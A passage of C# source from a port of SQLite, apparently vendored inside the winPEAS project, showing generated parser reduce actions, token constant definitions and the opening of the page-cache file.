//#line 1114 "parse.y" { sqlite3Pragma(pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy0, 1); } //#line 3235 "parse.c" break; case 259: /* cmd ::= PRAGMA nm dbnm LP minus_num RP */ //#line 1116 "parse.y" { sqlite3Pragma(pParse, yymsp[-4].minor.yy0, yymsp[-3].minor.yy0, yymsp[-1].minor.yy0, 1); } //#line 3240 "parse.c" break; case 270: /* cmd ::= createkw trigger_decl BEGIN trigger_cmd_list END */ //#line 1134 "parse.y" { Token all = new Token(); //all.z = yymsp[-3].minor.yy0.z; //all.n = (int)(yymsp[0].minor.yy0.z - yymsp[-3].minor.yy0.z) + yymsp[0].minor.yy0.n; all.n = (int)(yymsp[-3].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length) + yymsp[0].minor.yy0.n; all.z = yymsp[-3].minor.yy0.z.Substring(0, all.n); sqlite3FinishTrigger(pParse, yymsp[-1].minor.yy473, all); } //#line 3250 "parse.c" break; case 271: /* trigger_decl ::= temp TRIGGER ifnotexists nm dbnm trigger_time trigger_event ON fullname foreach_clause when_clause */ //#line 1143 "parse.y" { sqlite3BeginTrigger(pParse, yymsp[-7].minor.yy0, yymsp[-6].minor.yy0, yymsp[-5].minor.yy328, yymsp[-4].minor.yy378.a, yymsp[-4].minor.yy378.b, yymsp[-2].minor.yy65, yymsp[0].minor.yy132, yymsp[-10].minor.yy328, yymsp[-8].minor.yy328); yygotominor.yy0 = (yymsp[-6].minor.yy0.n == 0 ? yymsp[-7].minor.yy0 : yymsp[-6].minor.yy0); } //#line 3258 "parse.c" break; case 272: /* trigger_time ::= BEFORE */ case 275: /* trigger_time ::= */ //yytestcase(yyruleno==275); //#line 1149 "parse.y" { yygotominor.yy328 = TK_BEFORE; } //#line 3264 "parse.c" break; case 273: /* trigger_time ::= AFTER */ //#line 1150 "parse.y" { yygotominor.yy328 = TK_AFTER; } //#line 3269 "parse.c" break; case 274: /* trigger_time ::= INSTEAD OF */ //#line 1151 "parse.y" { yygotominor.yy328 = TK_INSTEAD; } //#line 3274 "parse.c" break; case 276: /* trigger_event ::= DELETE|INSERT */ case 277: /* trigger_event ::= UPDATE */ //yytestcase(yyruleno==277); //#line 1156 "parse.y" { yygotominor.yy378.a = yymsp[0].major; yygotominor.yy378.b = null; } //#line 3280 "parse.c" break; case 278: /* trigger_event ::= UPDATE OF inscollist */ //#line 1158 "parse.y" { yygotominor.yy378.a = TK_UPDATE; yygotominor.yy378.b = yymsp[0].minor.yy408; } //#line 3285 "parse.c" break; case 281: /* when_clause ::= */ case 303: /* key_opt ::= */ //yytestcase(yyruleno==303); //#line 1165 "parse.y" { yygotominor.yy132 = null; } //#line 3291 "parse.c" break; case 282: /* when_clause ::= WHEN expr */ case 304: /* key_opt ::= KEY expr */ //yytestcase(yyruleno==304); //#line 1166 "parse.y" { yygotominor.yy132 = yymsp[0].minor.yy346.pExpr; } //#line 3297 "parse.c" break; case 283: /* trigger_cmd_list ::= trigger_cmd_list trigger_cmd SEMI */ //#line 1170 "parse.y" { Debug.Assert(yymsp[-2].minor.yy473 != null); yymsp[-2].minor.yy473.pLast.pNext = yymsp[-1].minor.yy473; yymsp[-2].minor.yy473.pLast = yymsp[-1].minor.yy473; yygotominor.yy473 = yymsp[-2].minor.yy473; } //#line 3307 "parse.c" break; case 284: /* trigger_cmd_list ::= trigger_cmd SEMI */ //#line 1176 "parse.y" { Debug.Assert(yymsp[-1].minor.yy473 != null); yymsp[-1].minor.yy473.pLast = yymsp[-1].minor.yy473; yygotominor.yy473 = yymsp[-1].minor.yy473; } //#line 3316 "parse.c" break; case 286: /* trnm ::= nm DOT nm */ //#line 1188 "parse.y" { yygotominor.yy0 = yymsp[0].minor.yy0; sqlite3ErrorMsg(pParse, "qualified table names are not allowed on INSERT, UPDATE, and DELETE " + "statements within triggers"); } //#line 3326 "parse.c" break; case 288: /* tridxby ::= INDEXED BY nm */ //#line 1200 "parse.y" { sqlite3ErrorMsg(pParse, "the INDEXED BY clause is not allowed on UPDATE or DELETE statements " + "within triggers"); } //#line 3335 "parse.c" break; case 289: /* tridxby ::= NOT INDEXED */ //#line 1205 "parse.y" { sqlite3ErrorMsg(pParse, "the NOT INDEXED clause is not allowed on UPDATE or DELETE statements " + "within triggers"); } //#line 3344 "parse.c" break; case 290: /* trigger_cmd ::= UPDATE orconf trnm tridxby SET setlist where_opt */ //#line 1218 "parse.y" { yygotominor.yy473 = sqlite3TriggerUpdateStep(pParse.db, yymsp[-4].minor.yy0, yymsp[-1].minor.yy14, yymsp[0].minor.yy132, yymsp[-5].minor.yy186); } //#line 3349 "parse.c" break; case 291: /* trigger_cmd ::= insert_cmd INTO trnm inscollist_opt VALUES LP itemlist RP */ //#line 1223 "parse.y" { yygotominor.yy473 = sqlite3TriggerInsertStep(pParse.db, yymsp[-5].minor.yy0, yymsp[-4].minor.yy408, yymsp[-1].minor.yy14, 0, yymsp[-7].minor.yy186); } //#line 3354 "parse.c" break; case 292: /* trigger_cmd ::= insert_cmd INTO trnm inscollist_opt select */ //#line 1226 "parse.y" { yygotominor.yy473 = sqlite3TriggerInsertStep(pParse.db, yymsp[-2].minor.yy0, yymsp[-1].minor.yy408, 0, yymsp[0].minor.yy3, yymsp[-4].minor.yy186); } //#line 3359 "parse.c" break; case 293: /* trigger_cmd ::= DELETE FROM trnm tridxby where_opt */ //#line 1230 "parse.y" { yygotominor.yy473 = sqlite3TriggerDeleteStep(pParse.db, yymsp[-2].minor.yy0, yymsp[0].minor.yy132); } //#line 3364 "parse.c" break; case 294: /* trigger_cmd ::= select */ //#line 1233 "parse.y" { yygotominor.yy473 = sqlite3TriggerSelectStep(pParse.db, yymsp[0].minor.yy3); } //#line 3369 "parse.c" break; case 295: /* expr ::= RAISE LP IGNORE RP */ //#line 1236 "parse.y" { yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_RAISE, 0, 0, 0); if (yygotominor.yy346.pExpr != null) { yygotominor.yy346.pExpr.affinity = (char)OE_Ignore; } yygotominor.yy346.zStart = yymsp[-3].minor.yy0.z; yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); } //#line 3381 "parse.c" break; case 296: /* expr ::= RAISE LP raisetype COMMA nm RP */ //#line 1244 "parse.y" { yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_RAISE, 0, 0, yymsp[-1].minor.yy0); if (yygotominor.yy346.pExpr != null) { yygotominor.yy346.pExpr.affinity = (char)yymsp[-3].minor.yy328; } yygotominor.yy346.zStart = yymsp[-5].minor.yy0.z; yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); } //#line 3393 "parse.c" break; case 297: /* raisetype ::= ROLLBACK */ //#line 1255 "parse.y" { yygotominor.yy328 = OE_Rollback; } //#line 3398 "parse.c" break; case 299: /* raisetype ::= FAIL */ //#line 1257 "parse.y" { yygotominor.yy328 = OE_Fail; } //#line 3403 "parse.c" break; case 300: /* cmd ::= DROP TRIGGER ifexists fullname */ //#line 1262 "parse.y" { sqlite3DropTrigger(pParse, yymsp[0].minor.yy65, yymsp[-1].minor.yy328); } //#line 3410 "parse.c" break; case 301: /* cmd ::= ATTACH database_kw_opt expr AS expr key_opt */ //#line 1269 "parse.y" { sqlite3Attach(pParse, yymsp[-3].minor.yy346.pExpr, yymsp[-1].minor.yy346.pExpr, yymsp[0].minor.yy132); } //#line 3417 "parse.c" break; case 302: /* cmd ::= DETACH database_kw_opt expr */ //#line 1272 "parse.y" { sqlite3Detach(pParse, yymsp[0].minor.yy346.pExpr); } //#line 3424 "parse.c" break; case 307: /* cmd ::= REINDEX */ //#line 1287 "parse.y" { sqlite3Reindex(pParse, 0, 0); } //#line 3429 "parse.c" break; case 308: /* cmd ::= REINDEX nm dbnm */ //#line 1288 "parse.y" { sqlite3Reindex(pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0); } //#line 3434 "parse.c" break; case 309: /* cmd ::= ANALYZE */ //#line 1293 "parse.y" { sqlite3Analyze(pParse, 0, 0); } //#line 3439 "parse.c" break; case 310: /* cmd ::= ANALYZE nm dbnm */ //#line 1294 "parse.y" { sqlite3Analyze(pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0); } //#line 3444 "parse.c" break; case 311: /* cmd ::= ALTER TABLE fullname RENAME TO nm */ //#line 1299 "parse.y" { sqlite3AlterRenameTable(pParse, yymsp[-3].minor.yy65, yymsp[0].minor.yy0); } //#line 3451 "parse.c" break; case 312: /* cmd ::= ALTER TABLE add_column_fullname ADD kwcolumn_opt column */ //#line 1302 "parse.y" { sqlite3AlterFinishAddColumn(pParse, yymsp[0].minor.yy0); } //#line 3458 "parse.c" break; case 313: /* add_column_fullname ::= fullname */ //#line 1305 "parse.y" { pParse.db.lookaside.bEnabled = 0; sqlite3AlterBeginAddColumn(pParse, yymsp[0].minor.yy65); } //#line 3466 "parse.c" break; case 316: /* cmd ::= create_vtab */ //#line 1315 "parse.y" { sqlite3VtabFinishParse(pParse, 0); } //#line 3471 "parse.c" break; case 317: /* cmd ::= create_vtab LP vtabarglist RP */ //#line 1316 "parse.y" { sqlite3VtabFinishParse(pParse, yymsp[0].minor.yy0); } //#line 3476 "parse.c" break; case 318: /* create_vtab ::= createkw VIRTUAL TABLE nm dbnm USING nm */ //#line 1317 "parse.y" { sqlite3VtabBeginParse(pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy0); } //#line 3483 "parse.c" break; case 321: /* vtabarg ::= */ //#line 1322 "parse.y" { sqlite3VtabArgInit(pParse); } //#line 3488 "parse.c" break; case 323: /* vtabargtoken ::= ANY */ case 324: /* vtabargtoken ::= lp anylist RP */ //yytestcase(yyruleno==324); case 325: /* lp ::= LP */ //yytestcase(yyruleno==325); //#line 1324 "parse.y" { sqlite3VtabArgExtend(pParse, yymsp[0].minor.yy0); } //#line 3495 "parse.c" break; default: /* (0) input ::= cmdlist */ //yytestcase(yyruleno==0); /* (1) cmdlist ::= cmdlist ecmd */ //yytestcase(yyruleno==1); /* (2) cmdlist ::= ecmd */ //yytestcase(yyruleno==2); /* (3) ecmd ::= SEMI */ //yytestcase(yyruleno==3); /* (4) ecmd ::= explain cmdx SEMI */ //yytestcase(yyruleno==4); /* (10) trans_opt ::= */ //yytestcase(yyruleno==10); /* (11) trans_opt ::= TRANSACTION */ //yytestcase(yyruleno==11); /* (12) trans_opt ::= TRANSACTION nm */ //yytestcase(yyruleno==12); /* (20) savepoint_opt ::= SAVEPOINT */ //yytestcase(yyruleno==20); /* (21) savepoint_opt ::= */ //yytestcase(yyruleno==21); /* (25) cmd ::= create_table create_table_args */ //yytestcase(yyruleno==25); /* (34) columnlist ::= columnlist COMMA column */ //yytestcase(yyruleno==34); /* (35) columnlist ::= column */ //yytestcase(yyruleno==35); /* (44) type ::= */ //yytestcase(yyruleno==44); /* (51) signed ::= plus_num */ //yytestcase(yyruleno==51); /* (52) signed ::= minus_num */ //yytestcase(yyruleno==52); /* (53) carglist ::= carglist carg */ //yytestcase(yyruleno==53); /* (54) carglist ::= */ //yytestcase(yyruleno==54); /* (55) carg ::= CONSTRAINT nm ccons */ //yytestcase(yyruleno==55); /* (56) carg ::= ccons */ //yytestcase(yyruleno==56); /* (62) ccons ::= NULL onconf */ //yytestcase(yyruleno==62); /* (89) conslist ::= conslist COMMA tcons */ //yytestcase(yyruleno==89); /* (90) conslist ::= conslist tcons */ //yytestcase(yyruleno==90); /* (91) conslist ::= tcons */ //yytestcase(yyruleno==91); /* (92) tcons ::= CONSTRAINT nm */ //yytestcase(yyruleno==92); /* (268) plus_opt ::= PLUS */ //yytestcase(yyruleno==268); /* (269) plus_opt ::= */ //yytestcase(yyruleno==269); /* (279) foreach_clause ::= */ //yytestcase(yyruleno==279); /* (280) foreach_clause ::= FOR EACH ROW */ //yytestcase(yyruleno==280); /* (287) tridxby ::= */ //yytestcase(yyruleno==287); /* (305) database_kw_opt ::= DATABASE */ //yytestcase(yyruleno==305); /* (306) database_kw_opt ::= */ //yytestcase(yyruleno==306); /* (314) kwcolumn_opt ::= */ //yytestcase(yyruleno==314); /* (315) kwcolumn_opt ::= COLUMNKW */ //yytestcase(yyruleno==315); /* (319) vtabarglist ::= vtabarg */ //yytestcase(yyruleno==319); /* (320) vtabarglist ::= vtabarglist COMMA vtabarg */ //yytestcase(yyruleno==320); /* (322) vtabarg ::= vtabarg vtabargtoken */ //yytestcase(yyruleno==322); /* (326) anylist ::= */ //yytestcase(yyruleno==326); /* (327) anylist ::= anylist LP anylist RP */ //yytestcase(yyruleno==327); /* (328) anylist ::= anylist ANY */ //yytestcase(yyruleno==328); break; }; yygoto = yyRuleInfo[yyruleno].lhs; yysize = yyRuleInfo[yyruleno].nrhs; yypParser.yyidx -= yysize; yyact = yy_find_reduce_action(yymsp[-yysize].stateno, (YYCODETYPE)yygoto); if (yyact < YYNSTATE) { #if NDEBUG /* If we are not debugging and the reduce action popped at least ** one element off the stack, then we can push the new element back ** onto the stack here, and skip the stack overflow test in yy_shift(). ** That gives a significant speed improvement. */ if( yysize!=0 ){ yypParser.yyidx++; yymsp._yyidx -= yysize - 1; yymsp[0].stateno = (YYACTIONTYPE)yyact; yymsp[0].major = (YYCODETYPE)yygoto; yymsp[0].minor = yygotominor; }else #endif { yy_shift(yypParser, yyact, yygoto, yygotominor); } } else { Debug.Assert(yyact == YYNSTATE + YYNRULE + 1); yy_accept(yypParser); } } /* ** The following code executes when the parse fails */ #if !YYNOERRORRECOVERY static void yy_parse_failed( yyParser yypParser /* The parser */ ) { Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH; #if !NDEBUG if (yyTraceFILE != null) { Debugger.Break(); // TODO -- fprintf(yyTraceFILE, "%sFail!\n", yyTracePrompt); } #endif while (yypParser.yyidx >= 0) yy_pop_parser_stack(yypParser); /* Here code is inserted which will be executed whenever the ** parser fails */ yypParser.pParse = pParse;// sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument variable */ } #endif //* YYNOERRORRECOVERY */ /* ** The following code executes when a syntax error first occurs. */ static void yy_syntax_error( yyParser yypParser, /* The parser */ int yymajor, /* The major type of the error token */ YYMINORTYPE yyminor /* The minor type of the error token */ ) { Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH; //#define TOKEN (yyminor.yy0) //#line 34 "parse.y" UNUSED_PARAMETER(yymajor); /* Silence some compiler warnings */ Debug.Assert(yyminor.yy0.z.Length > 0); //TOKEN.z[0]); /* The tokenizer always gives us a token */ sqlite3ErrorMsg(pParse, "near \"%T\": syntax error", yyminor.yy0);//&TOKEN); pParse.parseError = 1; //#line 3603 "parse.c" yypParser.pParse = pParse; // sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument variable */ } /* ** The following is executed when the parser accepts */ static void yy_accept( yyParser yypParser /* The parser */ ) { Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH; #if !NDEBUG if (yyTraceFILE != null) { fprintf(yyTraceFILE, "%sAccept!\n", yyTracePrompt); } #endif while (yypParser.yyidx >= 0) yy_pop_parser_stack(yypParser); /* Here code is inserted which will be executed whenever the ** parser accepts */ yypParser.pParse = pParse;// sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument variable */ } /* The main parser program. ** The first argument is a pointer to a structure obtained from ** "sqlite3ParserAlloc" which describes the current state of the parser. ** The second argument is the major token number. The third is ** the minor token. The fourth optional argument is whatever the ** user wants (and specified in the grammar) and is available for ** use by the action routines. ** ** Inputs: **
      **
    • A pointer to the parser (an opaque structure.) **
    • The major token number. **
    • The minor token number. **
    • An option argument of a grammar-specified type. **
    ** ** Outputs: ** None. */ static void sqlite3Parser( yyParser yyp, /* The parser */ int yymajor, /* The major token code number */ sqlite3ParserTOKENTYPE yyminor /* The value for the token */ , Parse pParse //sqlite3ParserARG_PDECL /* Optional %extra_argument parameter */ ) { YYMINORTYPE yyminorunion = new YYMINORTYPE(); int yyact; /* The parser action. */ bool yyendofinput; /* True if we are at the end of input */ #if YYERRORSYMBOL int yyerrorhit = 0; /* True if yymajor has invoked an error */ #endif yyParser yypParser; /* The parser */ /* (re)initialize the parser, if necessary */ yypParser = yyp; if (yypParser.yyidx < 0) { #if YYSTACKDEPTH//<=0 if( yypParser.yystksz <=0 ){ memset(yyminorunion, 0, yyminorunion).Length; yyStackOverflow(yypParser, yyminorunion); return; } #endif yypParser.yyidx = 0; yypParser.yyerrcnt = -1; yypParser.yystack[0] = new yyStackEntry(); yypParser.yystack[0].stateno = 0; yypParser.yystack[0].major = 0; } yyminorunion.yy0 = yyminor.Copy(); yyendofinput = (yymajor == 0); yypParser.pParse = pParse;// sqlite3ParserARG_STORE; #if !NDEBUG if (yyTraceFILE != null) { fprintf(yyTraceFILE, "%sInput %s\n", yyTracePrompt, yyTokenName[yymajor]); } #endif do { yyact = yy_find_shift_action(yypParser, (YYCODETYPE)yymajor); if (yyact < YYNSTATE) { Debug.Assert(!yyendofinput); /* Impossible to shift the $ token */ yy_shift(yypParser, yyact, yymajor, yyminorunion); yypParser.yyerrcnt--; yymajor = YYNOCODE; } else if (yyact < YYNSTATE + YYNRULE) { yy_reduce(yypParser, yyact - YYNSTATE); } else { Debug.Assert(yyact == YY_ERROR_ACTION); #if YYERRORSYMBOL int yymx; #endif #if !NDEBUG if (yyTraceFILE != null) { Debugger.Break(); // TODO -- fprintf(yyTraceFILE, "%sSyntax Error!\n", yyTracePrompt); } #endif #if YYERRORSYMBOL /* A syntax error has occurred. ** The response to an error depends upon whether or not the ** grammar defines an error token "ERROR". ** ** This is what we do if the grammar does define ERROR: ** ** * Call the %syntax_error function. ** ** * Begin popping the stack until we enter a state where ** it is legal to shift the error symbol, then shift ** the error symbol. ** ** * Set the error count to three. ** ** * Begin accepting and shifting new tokens. No new error ** processing will occur until three tokens have been ** shifted successfully. ** */ if( yypParser.yyerrcnt<0 ){ yy_syntax_error(yypParser,yymajor,yyminorunion); } yymx = yypParser.yystack[yypParser.yyidx].major; if( yymx==YYERRORSYMBOL || yyerrorhit ){ #if !NDEBUG if( yyTraceFILE ){ Debug.Assert(false); // TODO -- fprintf(yyTraceFILE,"%sDiscard input token %s\n", yyTracePrompt,yyTokenName[yymajor]); } #endif yy_destructor(yypParser,(YYCODETYPE)yymajor,yyminorunion); yymajor = YYNOCODE; }else{ while( yypParser.yyidx >= 0 && yymx != YYERRORSYMBOL && (yyact = yy_find_reduce_action( yypParser.yystack[yypParser.yyidx].stateno, YYERRORSYMBOL)) >= YYNSTATE ){ yy_pop_parser_stack(yypParser); } if( yypParser.yyidx < 0 || yymajor==0 ){ yy_destructor(yypParser, (YYCODETYPE)yymajor,yyminorunion); yy_parse_failed(yypParser); yymajor = YYNOCODE; }else if( yymx!=YYERRORSYMBOL ){ YYMINORTYPE u2; u2.YYERRSYMDT = 0; yy_shift(yypParser,yyact,YYERRORSYMBOL,u2); } } yypParser.yyerrcnt = 3; yyerrorhit = 1; #elif (YYNOERRORRECOVERY) /* If the YYNOERRORRECOVERY macro is defined, then do not attempt to ** do any kind of error recovery. Instead, simply invoke the syntax ** error routine and continue going as if nothing had happened. ** ** Applications can set this macro (for example inside %include) if ** they intend to abandon the parse upon the first syntax error seen. */ yy_syntax_error(yypParser,yymajor,yyminorunion); yy_destructor(yypParser,(YYCODETYPE)yymajor,yyminorunion); yymajor = YYNOCODE; #else // * YYERRORSYMBOL is not defined */ /* This is what we do if the grammar does not define ERROR: ** ** * Report an error message, and throw away the input token. ** ** * If the input token is $, then fail the parse. ** ** As before, subsequent error messages are suppressed until ** three input tokens have been successfully shifted. */ if (yypParser.yyerrcnt <= 0) { yy_syntax_error(yypParser, yymajor, yyminorunion); } yypParser.yyerrcnt = 3; yy_destructor(yypParser, (YYCODETYPE)yymajor, yyminorunion); if (yyendofinput) { yy_parse_failed(yypParser); } yymajor = YYNOCODE; #endif } } while (yymajor != YYNOCODE && yypParser.yyidx >= 0); return; } public class yymsp { public yyParser _yyParser; public int _yyidx; // CONSTRUCTOR public yymsp(ref yyParser pointer_to_yyParser, int yyidx) //' Parser and Stack Index { this._yyParser = pointer_to_yyParser; this._yyidx = yyidx; } // Default Value public yyStackEntry this[int offset] { get { return _yyParser.yystack[_yyidx + offset]; } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/parse_h.cs ================================================ /* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ************************************************************************* ** Repository path : $HeadURL: https://sqlitecs.googlecode.com/svn/trunk/C%23SQLite/src/parse_h.cs $ ** Revision : $Revision$ ** Last Change Date: $LastChangedDate: 2009-08-04 13:34:52 -0700 (Tue, 04 Aug 2009) $ ** Last Changed By : $LastChangedBy: noah.hart $ ************************************************************************* */ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { //#define TK_SEMI 1 //#define TK_EXPLAIN 2 //#define TK_QUERY 3 //#define TK_PLAN 4 //#define TK_BEGIN 5 //#define TK_TRANSACTION 6 //#define TK_DEFERRED 7 //#define TK_IMMEDIATE 8 //#define TK_EXCLUSIVE 9 //#define TK_COMMIT 10 //#define TK_END 11 //#define TK_ROLLBACK 12 //#define TK_SAVEPOINT 13 //#define TK_RELEASE 14 //#define TK_TO 15 //#define TK_TABLE 16 //#define TK_CREATE 17 //#define TK_IF 18 //#define TK_NOT 19 //#define TK_EXISTS 20 //#define TK_TEMP 21 //#define TK_LP 22 //#define TK_RP 23 //#define TK_AS 24 //#define TK_COMMA 25 //#define TK_ID 26 //#define TK_INDEXED 27 //#define TK_ABORT 28 //#define TK_AFTER 29 //#define TK_ANALYZE 30 //#define TK_ASC 31 //#define TK_ATTACH 32 //#define TK_BEFORE 33 //#define TK_BY 34 //#define TK_CASCADE 35 //#define TK_CAST 36 //#define TK_COLUMNKW 37 //#define TK_CONFLICT 38 //#define TK_DATABASE 39 //#define TK_DESC 40 //#define TK_DETACH 41 //#define TK_EACH 42 //#define TK_FAIL 43 //#define TK_FOR 44 //#define TK_IGNORE 45 //#define TK_INITIALLY 46 //#define TK_INSTEAD 47 //#define TK_LIKE_KW 48 //#define TK_MATCH 49 //#define TK_KEY 50 //#define TK_OF 51 //#define TK_OFFSET 52 //#define TK_PRAGMA 53 //#define TK_RAISE 54 //#define TK_REPLACE 55 //#define TK_RESTRICT 56 //#define TK_ROW 57 //#define TK_TRIGGER 58 //#define TK_VACUUM 59 //#define TK_VIEW 60 //#define TK_VIRTUAL 61 //#define TK_REINDEX 62 //#define TK_RENAME 63 //#define TK_CTIME_KW 64 //#define TK_ANY 65 //#define TK_OR 66 //#define TK_AND 67 //#define TK_IS 68 //#define TK_BETWEEN 69 //#define TK_IN 70 //#define TK_ISNULL 71 //#define TK_NOTNULL 72 //#define TK_NE 73 //#define TK_EQ 74 //#define TK_GT 75 //#define TK_LE 76 //#define TK_LT 77 //#define TK_GE 78 //#define TK_ESCAPE 79 //#define TK_BITAND 80 //#define TK_BITOR 81 //#define TK_LSHIFT 82 //#define TK_RSHIFT 83 //#define TK_PLUS 84 //#define TK_MINUS 85 //#define TK_STAR 86 //#define TK_SLASH 87 //#define TK_REM 88 //#define TK_CONCAT 89 //#define TK_COLLATE 90 //#define TK_UMINUS 91 //#define TK_UPLUS 92 //#define TK_BITNOT 93 //#define TK_STRING 94 //#define TK_JOIN_KW 95 //#define TK_CONSTRAINT 96 //#define TK_DEFAULT 97 //#define TK_NULL 98 //#define TK_PRIMARY 99 //#define TK_UNIQUE 100 //#define TK_CHECK 101 //#define TK_REFERENCES 102 //#define TK_AUTOINCR 103 //#define TK_ON 104 //#define TK_DELETE 105 //#define TK_UPDATE 106 //#define TK_INSERT 107 //#define TK_SET 108 //#define TK_DEFERRABLE 109 //#define TK_FOREIGN 110 //#define TK_DROP 111 //#define TK_UNION 112 //#define TK_ALL 113 //#define TK_EXCEPT 114 //#define TK_INTERSECT 115 //#define TK_SELECT 116 //#define TK_DISTINCT 117 //#define TK_DOT 118 //#define TK_FROM 119 //#define TK_JOIN 120 //#define TK_USING 121 //#define TK_ORDER 122 //#define TK_GROUP 123 //#define TK_HAVING 124 //#define TK_LIMIT 125 //#define TK_WHERE 126 //#define TK_INTO 127 //#define TK_VALUES 128 //#define TK_INTEGER 129 //#define TK_FLOAT 130 //#define TK_BLOB 131 //#define TK_REGISTER 132 //#define TK_VARIABLE 133 //#define TK_CASE 134 //#define TK_WHEN 135 //#define TK_THEN 136 //#define TK_ELSE 137 //#define TK_INDEX 138 //#define TK_ALTER 139 //#define TK_ADD 140 //#define TK_TO_TEXT 141 //#define TK_TO_BLOB 142 //#define TK_TO_NUMERIC 143 //#define TK_TO_INT 144 //#define TK_TO_REAL 145 //#define TK_END_OF_FILE 146 //#define TK_ILLEGAL 147 //#define TK_SPACE 148 //#define TK_UNCLOSED_STRING 149 //#define TK_FUNCTION 150 //#define TK_COLUMN 151 //#define TK_AGG_FUNCTION 152 //#define TK_AGG_COLUMN 153 //#define TK_CONST_FUNC 154 const int TK_SEMI = 1; const int TK_EXPLAIN = 2; const int TK_QUERY = 3; const int TK_PLAN = 4; const int TK_BEGIN = 5; const int TK_TRANSACTION = 6; const int TK_DEFERRED = 7; const int TK_IMMEDIATE = 8; const int TK_EXCLUSIVE = 9; const int TK_COMMIT = 10; const int TK_END = 11; const int TK_ROLLBACK = 12; const int TK_SAVEPOINT = 13; const int TK_RELEASE = 14; const int TK_TO = 15; const int TK_TABLE = 16; const int TK_CREATE = 17; const int TK_IF = 18; const int TK_NOT = 19; const int TK_EXISTS = 20; const int TK_TEMP = 21; const int TK_LP = 22; const int TK_RP = 23; const int TK_AS = 24; const int TK_COMMA = 25; const int TK_ID = 26; const int TK_INDEXED = 27; const int TK_ABORT = 28; const int TK_AFTER = 29; const int TK_ANALYZE = 30; const int TK_ASC = 31; const int TK_ATTACH = 32; const int TK_BEFORE = 33; const int TK_BY = 34; const int TK_CASCADE = 35; const int TK_CAST = 36; const int TK_COLUMNKW = 37; const int TK_CONFLICT = 38; const int TK_DATABASE = 39; const int TK_DESC = 40; const int TK_DETACH = 41; const int TK_EACH = 42; const int TK_FAIL = 43; const int TK_FOR = 44; const int TK_IGNORE = 45; const int TK_INITIALLY = 46; const int TK_INSTEAD = 47; const int TK_LIKE_KW = 48; const int TK_MATCH = 49; const int TK_KEY = 50; const int TK_OF = 51; const int TK_OFFSET = 52; const int TK_PRAGMA = 53; const int TK_RAISE = 54; const int TK_REPLACE = 55; const int TK_RESTRICT = 56; const int TK_ROW = 57; const int TK_TRIGGER = 58; const int TK_VACUUM = 59; const int TK_VIEW = 60; const int TK_VIRTUAL = 61; const int TK_REINDEX = 62; const int TK_RENAME = 63; const int TK_CTIME_KW = 64; const int TK_ANY = 65; const int TK_OR = 66; const int TK_AND = 67; const int TK_IS = 68; const int TK_BETWEEN = 69; const int TK_IN = 70; const int TK_ISNULL = 71; const int TK_NOTNULL = 72; const int TK_NE = 73; const int TK_EQ = 74; const int TK_GT = 75; const int TK_LE = 76; const int TK_LT = 77; const int TK_GE = 78; const int TK_ESCAPE = 79; const int TK_BITAND = 80; const int TK_BITOR = 81; const int TK_LSHIFT = 82; const int TK_RSHIFT = 83; const int TK_PLUS = 84; const int TK_MINUS = 85; const int TK_STAR = 86; const int TK_SLASH = 87; const int TK_REM = 88; const int TK_CONCAT = 89; const int TK_COLLATE = 90; const int TK_UMINUS = 91; const int TK_UPLUS = 92; const int TK_BITNOT = 93; const int TK_STRING = 94; const int TK_JOIN_KW = 95; const int TK_CONSTRAINT = 96; const int TK_DEFAULT = 97; const int TK_NULL = 98; const int TK_PRIMARY = 99; const int TK_UNIQUE = 100; const int TK_CHECK = 101; const int TK_REFERENCES = 102; const int TK_AUTOINCR = 103; const int TK_ON = 104; const int TK_DELETE = 105; const int TK_UPDATE = 106; const int TK_INSERT = 107; const int TK_SET = 108; const int TK_DEFERRABLE = 109; const int TK_FOREIGN = 110; const int TK_DROP = 111; const int TK_UNION = 112; const int TK_ALL = 113; const int TK_EXCEPT = 114; const int TK_INTERSECT = 115; const int TK_SELECT = 116; const int TK_DISTINCT = 117; const int TK_DOT = 118; const int TK_FROM = 119; const int TK_JOIN = 120; const int TK_USING = 121; const int TK_ORDER = 122; const int TK_GROUP = 123; const int TK_HAVING = 124; const int TK_LIMIT = 125; const int TK_WHERE = 126; const int TK_INTO = 127; const int TK_VALUES = 128; const int TK_INTEGER = 129; const int TK_FLOAT = 130; const int TK_BLOB = 131; const int TK_REGISTER = 132; const int TK_VARIABLE = 133; const int TK_CASE = 134; const int TK_WHEN = 135; const int TK_THEN = 136; const int TK_ELSE = 137; const int TK_INDEX = 138; const int TK_ALTER = 139; const int TK_ADD = 140; const int TK_TO_TEXT = 141; const int TK_TO_BLOB = 142; const int TK_TO_NUMERIC = 143; const int TK_TO_INT = 144; const int TK_TO_REAL = 145; const int TK_END_OF_FILE = 146; const int TK_ILLEGAL = 147; const int TK_SPACE = 148; const int TK_UNCLOSED_STRING = 149; const int TK_FUNCTION = 150; const int TK_COLUMN = 151; const int TK_AGG_FUNCTION = 152; const int TK_AGG_COLUMN = 153; const int TK_CONST_FUNC = 154; } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/pcache1_c.cs ================================================ using System.Diagnostics; using u32 = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { using sqlite3_pcache = CSSQLite.PCache1; public partial class CSSQLite { /* ** 2008 November 05 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** 